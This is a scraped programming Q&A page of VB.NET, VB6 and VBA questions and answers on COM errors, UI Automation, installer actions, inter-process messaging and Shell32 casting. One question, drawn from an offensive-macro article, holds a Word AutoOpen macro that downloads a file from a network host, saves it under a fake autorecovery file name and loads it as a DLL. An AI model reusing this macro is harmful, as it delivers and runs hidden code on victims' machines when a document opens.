Visual Basic Sterling ActiveX Error - vb.net

I'm new to Visual Basic, and I'm having trouble with a program that I'm working on. I'm using the Sterling ActiveX library to create a basic functional program that does an easy task (sending an order) for the Sterling Trader software. I'm just trying to make something basic that works and that I can build off of. Here's my code so far:
Imports SterlingLib
Public Class Form1
Dim WithEvents m_STIEvents As STIEvents
Private Declare Sub GetLocalTime Lib "kernel32" (ByRef lpSystemTime As SYSTEMTIME)
Private Structure SYSTEMTIME
Dim wYear As Short
Dim wMonth As Short
Dim wDayOfWeek As Short
Dim wDay As Short
Dim wHour As Short
Dim wMinute As Short
Dim wSecond As Short
Dim wMilliseconds As Short
End Structure
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
m_STIEvents = New STIEvents
End Sub
Private Sub m_STIEvents_OnSTIOrderUpdateMsg(ByVal oSTIOrderUpdateMsg As SterlingLib.STIOrderUpdateMsg) Handles m_STIEvents.OnSTIOrderUpdateMsg
Dim order As STIOrder
order = New STIOrder
Dim storder As structSTIOrder
storder.bstrAccount = "ACCT7"
storder.bstrSide = "B"
storder.bstrSymbol = "CSCO"
order.Quantity = "500"
storder.bstrStrPriceType = SterlingLib.STIPriceTypes.ptSTIMkt
storder.bstrTif = "D"
storder.bstrDestination = "NYSE"
Dim theTime As SYSTEMTIME
GetLocalTime(theTime)
storder.bstrClOrderId = storder.bstrAccount & theTime.wYear & theTime.wMonth & theTime.wDay & theTime.wHour & theTime.wMinute & theTime.wSecond & theTime.wMilliseconds
Dim ret As Integer
ret = order.SubmitOrder
End Sub
Private Function Text1() As Object
Throw New NotImplementedException
End Function
End Class
When I run this program, I get the following error:
"Unhandled exception has occurred in your application. If you click Continue, the application will ignore this error and attempt to continue. If you click Quit, the application will close immediately.
Retrieving the COM class factory for component with CLSID {5E89F49B-6A12-420F-8570-E510EF1B580A} failed due to the following error: 800700c1."
What does this mean, and how can I correct it? When I debug, it highlights "m_STIEvents = New STIEvents" as the line where things are going wrong, but I can't figure it out.

You can reverse-engineer the error code, 0x800700c1. If not through Google then by design. The 8 makes it an error. The 7 is the "facility code", where the error originated, 7 means Windows. Which makes the last 4 digits a Windows error code. 0x00c1 = error 193. Which you can lookup many ways, one is by looking at the Windows SDK's WinError.h file:
//
// MessageId: ERROR_BAD_EXE_FORMAT
//
// MessageText:
//
// %1 is not a valid Win32 application.
//
#define ERROR_BAD_EXE_FORMAT 193L
The kind of error code that's invariably generated on a 64-bit operating system. Running 64-bit code and trying to load a legacy 32-bit ActiveX component.
Which suggests the easy fix: right-click your EXE project in the Solution Explorer windows. Properties, Compile tab, scroll down, Advanced Compile Options button. Change the Target CPU setting to "x86" to force your VB.NET code to run in 32-bit mode so it can load that ActiveX control. Or if it is already set to x86 then change it to "AnyCPU" to take care of the oddball chance that this is a 64-bit ActiveX control.
Contact the vendor of the component if that didn't work or you have any additional problems.

I don't know if you have solved this problem. The way I solved it was installing vb6 on my computer. I tried all the other ways and none of those works. This API is pretty old. Install vb6 solved my problem. Also if you want the program work, you have to login sterling trader pro. Good luck.

Related

Creating a new IUI Automation Handler object in order to subscribe to an automation event

So, here it goes. To start, A disclaimer, I understand that MS Access is not built for this kind of work. It is my only option at this time.
I have done just a bit of Automation using UIAutomationClient and I have successfully used its other features, however I cannot for the life of me get it to subscribe to events.
Normally, it is supposed to be a bit like this:
Dim CUI as new CUIAutomation
Dim FocusHandler as IUIAutomationFocusChangedEventHandler
Set FocusHandler = new IUIAutomationFocusChangedEventHandler(onFocusChanged)
C.AddFocusChangedEventHandler(Element,TreeScope_Children, null, FocusHandler)
end function
'
'
Function onFocusChanged(src as Object, args as AutomationEventArgs)
''my code here
end function
Yet when I attempt this, I get the error "expected end of statement" on the line:
FocusHandler = new IUIAutomationFocusChangedEventHandler(onFocusChanged)
additionally, if I leave off the (onFocusChanged) I get the error "Invalid use of new Keyword".
It seems like I am missing a reference somewhere. The usual drop down when using "new" does not contain the IUI handler classes though they are in the object library.
I am not sure if there is just some piece I am not accounting for in the code since I am using vba, but all examples seem to be for .net or C#/C++. Any help would be appreciated.
Additionally, I have no problem finding the element in question and all other pieces work fine. If you need any other pieces of the code let me know.
Edit: added set to line 3. No change in the problem though.
After two years this probably isn't relevant any more, but perhaps somebody else encounters this problem... The answer is to create a new class that implements the HandleAutomationEvent method.
Here I created a class named clsInvokeEventHandler and (importantly) set the Instancing property to PublicNotCreatable:
Option Explicit
Implements IUIAutomationEventHandler
Private Sub IUIAutomationEventHandler_HandleAutomationEvent(ByVal sender As UIAutomationClient.IUIAutomationElement, ByVal eventId As Long)
Debug.Print sender.CurrentName
End Sub
And to use it:
Sub StartInvokeHandler()
Dim oUIA As New CUIAutomation8
Dim oRoot As IUIAutomationElement
Dim InvokeHandler As clsInvokeEventHandler
Set InvokeHandler = New clsInvokeEventHandler
Set oRoot = oUIA.GetRootElement
oUIA.AddAutomationEventHandler UIA_Invoke_InvokedEventId, oRoot, TreeScope_Descendants, Nothing, InvokeHandler
End Sub

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

Installation setup problem (Access a checkbox in custom dialog box)

I’m trying to create a installation setup for my VB.net application. I
need to insert a custom action while setup is running. So I add a
Checkbox Dialog box to my setup. And I add a dll to the setup
installation to capture Before Install and After Install events. Those
are works fine. But I cannot access my check box value in those
events. If u guys can give me a hint to continue my work really
appreciates.
Following is the Before Install event I have created. I have set some
messages to verify my event works correctly. While I run the setup
those messages are prompt properly.
Private Sub Installer_BeforeInstall(ByVal sender As Object, _
ByVal e As System.Configuration.Install.InstallEventArgs) Handles MyBase.BeforeInstall
Dim koFaxPath As String = Nothing
MsgBox("Installer_BeforeInstall: Starts1")
Dim contextParameters As StringDictionary
Dim sb As System.Text.StringBuilder = New System.Text.StringBuilder
Dim actionDataName As String = String.Empty
Dim arrayActionData() As String
contextParameters = Me.Context.Parameters
For Each actionDataName In Me.Context.Parameters.Keys
arrayActionData = Me.Context.Parameters(actionDataName).ToString.Split("-")
MsgBox(actionDataName.ToString)
MsgBox(arrayActionData(0).ToString)
MsgBox(Me.Context.Parameters.Item(actionDataName.ToString))
Next
Try
Catch ex As Exception
'needs to impliment
End Try
MsgBox("Installer_BeforeInstall: Ends")
End Sub
Thanks in advance.
I have found the answer for that. It may useful for u as well.
Once you have add your dll to the setup project, Go to dll properties.
There is a property called CustomActionData. Fill it as follows
/CheckBoxSequenceGenerator="[CheckBoxName]"
Now you can access this in following code
Context.Parameters("CheckBoxSequenceGenerator")
Please make sure that your check-box property are not assigned to coding.

Simplest way to send messages between Matlab, VB6 and VB.NET programs

We are upgrading a suite of data acquisition and analysis routines from VB6 programs to a mixture of VB.NET, VB6, and Matlab programs. We want to keep the system modular (separate EXEs) so we can easily create specialized stand-alone analysis programs without having to constantly upgrade one massive application. We have used MBInterProcess to send messages between EXEs when all the programs were written in VB6 and this worked perfectly for us (e.g., to have the data acquisition EXE send the latest file name to a stand-alone data display program). Unfortunately, this ActiveX cannot be used within Matlab or VB.NET to receive messages. We are wondering what is the simplest string message passing system (pipes, registered messages, etc) that we could adopt. Right now we are just polling to see if new file was written in a specific folder, which can't be the best solution. Our ideal solution would not require a huge investment in time learning nuances of Windows (we are biologists, not full-time programmers) and would work in both WinXP and 64-bit versions of Windows.
In response to the queries, we have wrapped the entire Matlab session within a VB6 program that has the MBInterProcess ActiveX control. That works but is not a great solution for us since it will probably lock us into WinXP forever (and certainly will prevent us from using the 64-bit version of Matlab). The latest version of Matlab (2009a) can access .NET functions directly, so we assume one solution might be to use the .NET library to implement pipes (or something similar) across programs. We would like to recreate the elegantly simple syntax of the MBInterProcess ActiveX and have a piece of code that listens for a message with that program's top-level Windows name, and then call a specific Matlab m-file, or VB.NET function, with the string data (e.g., file name) as an argument.
Could you create an ActiveX EXE in VB6 to simply forward messages between the different parties? When anyone called it, it would raise an event with the parameters passed to the call. Your VB6 and VB.NET code could establish a reference to the ActiveX exe to call it and sink its events. I'm not familiar with Matlab so I don't know whether it would be accessible there.
EDIT: you've written that Matlab 2009a can access .NET directly. If it can sink .NET events, you could also have a .NET wrapper on the VB6 ActiveX EXE.
Here's some sample code I knocked up quickly.
VB6 ActiveX EXE project with project name VB6MatlabMessenger. Each message has a text string Destination (that somehow identifies the intended recipient) and a string with the message.
'MultiUse class VB6Messenger
Option Explicit
Public Event MessageReceived(ByVal Destination As String, ByVal Message As String)
Public Sub SendMessage(ByVal Destination As String, ByVal Message As String)
Call Manager.RaiseEvents(Destination, Message)
End Sub
Private Sub Class_Initialize()
Call Manager.AddMessenger(Me)
End Sub
Friend Sub RaiseTheEvent(ByVal Destination As String, ByVal Message As String)
RaiseEvent MessageReceived(Destination, Message)
End Sub
'BAS module called Manager
Option Explicit
Private colMessengers As New Collection
Sub AddMessenger(obj As VB6Messenger)
colMessengers.Add obj
End Sub
Sub RaiseEvents(ByVal Destination As String, ByVal Message As String)
Dim obj As VB6Messenger
For Each obj In colMessengers
Call obj.RaiseTheEvent(Destination, Message)
Next obj
End Sub
And a test VB6 normal exe, with a reference to the VB6MatlabMessenger. Here is the whole frm file. Build this as an exe, run a few copies. Fill in the destination and message text fields and click the button - you will see that the messages are received in all the exes (reported in the listboxes).
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3090
ClientLeft = 60
ClientTop = 450
ClientWidth = 4680
LinkTopic = "Form1"
ScaleHeight = 3090
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
Begin VB.ListBox lstEvents
Height = 1620
Left = 120
TabIndex = 3
Top = 1320
Width = 4455
End
Begin VB.TextBox txtMessage
Height = 375
Left = 120
TabIndex = 2
Text = "Message"
Top = 840
Width = 2295
End
Begin VB.TextBox txtDestination
Height = 375
Left = 120
TabIndex = 1
Text = "Destination"
Top = 240
Width = 2295
End
Begin VB.CommandButton cmdSendMessage
Caption = "Send Message"
Height = 495
Left = 2640
TabIndex = 0
Top = 360
Width = 1575
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private WithEvents objMessenger As VB6MatlabMessenger.VB6Messenger
Private Sub cmdSendMessage_Click()
objMessenger.SendMessage txtDestination, txtMessage.Text
End Sub
Private Sub Form_Load()
Set objMessenger = New VB6MatlabMessenger.VB6Messenger
End Sub
Private Sub objMessenger_MessageReceived(ByVal Destination As String, ByVal Message As String)
lstEvents.AddItem Now() & " RECEIVED - " & Destination & ", " & Message
End Sub
I started writing a VB.NET class library that wraps the VB6 to make it accessible to .NET. I haven't tested this one. It has a reference to the VB6MatLabMessenger.
Public Class VBNETMatlabMessenger
Private WithEvents objVB6Messenger As VB6MatlabMessenger.VB6Messenger
Public Event MessageReceived(ByVal Destination As String, ByVal Message As String)
Public Sub SendMessage(ByVal Destination As String, ByVal Message As String)
objVB6Messenger.SendMessage(Destination, Message)
End Sub
Public Sub New()
objVB6Messenger = New VB6MatlabMessenger.VB6Messenger
End Sub
Private Sub objVB6Messenger_MessageReceived(ByVal Destination As String, ByVal Message As String) Handles objVB6Messenger.MessageReceived
RaiseEvent MessageReceived(Destination, Message)
End Sub
End Class
This might get you started. Note that the VB6 messenger objects will live forever because the messenger keeps a reference to them internally, so COM will never tidy them up. If this becomes a problem (if many messages are sent without rebooting the PC) you could add a method to the VB6 messenger which instructs it to removed the messenger object from its collection,
I've used the Matlab dos command to execute a Java program on the commandline, it waits for the commandline to complete before returning control to Matlab. This worked fine for me, after my Matlab program regained control I read the output file from the Java.
I've used compiled Matlab programs (i.e. exe's), these work okay but they spray files around when they execute - I believe it's possible to pass in commandline arguments to a compiled executable. Assuming VB.NET is like C# .NET you could execute your exe from code using something like the Process object.
Alternatively there are ways to compile to .dll which are accessible via .NET see here:
http://www.codeproject.com/KB/dotnet/matlabeng.aspx
for an explanation. I've never tried this...

Typecast exception from ShellBrowserWindow object to ShellFolderView object

Looking for help trying to figure out why this typecast is not working on my machine.
This code was provided as an answer to another question I had and it's not working for me. It works for the answer poster on their machine, but I'm get a an exception on the line trying to typecast from ShellBrowserWindow to ShellFolderView.
I am using Visual Studio Express 2013, running on Windows 7 Pro X64 Sp1. The target framework for the project is .Net Framework 4. I've added references to Microsoft Internet Controls and Microsoft Shell Controls and Automation and I've added the Imports statements for Shell32 and SHDocVw. DLL versions are as follows: shell32.dll = 6.1.7601.18517 and shdocvw.dll = 6.1.7601.1822 I'm not sure what I could be missing.
The code looks like this. (This code is in a form object)
Imports EdmLib
Imports Shell32
Imports SHDocVw
Public Class BlankForm
Private Sub BlankForm_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim bar As String() = GetExplorerSelectedFiles()
Exit Sub
'The rest of my program is below this line - I'm just trying to test this one function right now...
End Sub
'Uses the windows shell to get the files selected in explorer
Public Function GetExplorerSelectedFiles() As String()
Dim ExplorerFiles As New List(Of String)
Dim exShell As New Shell32.Shell
Dim SFV As Shell32.ShellFolderView
For Each window As SHDocVw.ShellBrowserWindow In DirectCast(exShell.Windows, SHDocVw.IShellWindows)
If (window.Document).GetType.Name <> "HTMLDocumentClass" Then
SFV = CType(window.Document, ShellFolderView) '<--This is where it fails!!
For Each fi As FolderItem In SFV.SelectedItems
ExplorerFiles.Add(fi.Path)
Next
End If
Next
Return ExplorerFiles.ToArray
End Function
End Class
The line SFV = CType(window.Document, ShellFolderView) results in the following message:
An unhandled exception of type 'System.InvalidCastException' occurred
in LaunchTemplateEPDM.exe
Additional information: Unable to cast COM object of type
'System.__ComObject' to interface type 'Shell32.ShellFolderView'. This
operation failed because the QueryInterface call on the COM component
for the interface with IID '{29EC8E6C-46D3-411F-BAAA-611A6C9CAC66}'
failed due to the following error: No such interface supported
(Exception from HRESULT: 0x80004002 (E_NOINTERFACE)).
I've taken a screenshot of a quickwatch on the window object. A quickwatch on the window.document object shows an error saying it's either undefined or inaccessible.
I ran the query Microsoft.VisualBasic.Information.TypeName(window.document) and it returns "IShellFolderViewDual3".
I fixed it.
Not sure why this happens on my system and not yours.
What I found was that GetType.Name always just returns "System.__ComObject", regardless of whether the object is of type ShellFolderView, HTMLDocumentClass or something else. So what was happening was no matter what the actual type of the object was, it was passing the <>"HTMLDocumentClass" test because it was always evaluating to "System.__ComObject". Then when we tried to run the CType function on an object that didn't implement the ShellFolderView interface, it would throw that exception.
I eventually stumbled upon this article which led me to experiment with the TypeName Function which seems to return the actual type, and so I ended up with the working code below:
Public Function GetExplorerSelectedFiles() As String()
Dim ExplorerFiles As New List(Of String)
Dim exShell As New Shell32.Shell
For Each window As SHDocVw.ShellBrowserWindow In DirectCast(exShell.Windows, SHDocVw.IShellWindows)
If TypeName(window.Document) Like "IShellFolderViewDual*" Then
For Each fi As FolderItem In DirectCast(window.Document, ShellFolderView).SelectedItems
ExplorerFiles.Add(fi.Path)
Next
End If
Next
Return ExplorerFiles.ToArray
End Function